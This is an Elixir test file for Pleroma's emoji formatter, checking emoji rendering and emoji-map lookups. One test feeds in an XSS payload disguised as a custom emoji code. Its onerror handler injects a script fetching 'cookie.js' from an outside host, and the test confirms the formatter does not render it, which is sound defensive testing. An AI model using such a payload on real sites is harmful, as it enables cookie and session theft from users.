# Pleroma: A lightweight social networking server # Copyright © 2017-2021 Pleroma Authors # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Emoji.FormatterTest do alias Pleroma.Emoji.Formatter use Pleroma.DataCase, async: false describe "emojify" do test "it adds cool emoji" do text = "I love :firefox:" expected_result = "I love \"firefox\"" assert Formatter.emojify(text) == expected_result end test "it does not add XSS emoji" do text = "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" custom_emoji = { "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", "https://placehold.it/1x1" } |> Pleroma.Emoji.build() refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text end end describe "get_emoji_map" do test "it returns the emoji used in the text" do assert Formatter.get_emoji_map("I love :firefox:") == %{ "firefox" => "http://localhost:4001/emoji/Firefox.gif" } end test "it returns a nice empty result when no emojis are present" do assert Formatter.get_emoji_map("I love moominamma") == %{} end test "it doesn't die when text is absent" do assert Formatter.get_emoji_map(nil) == %{} end end end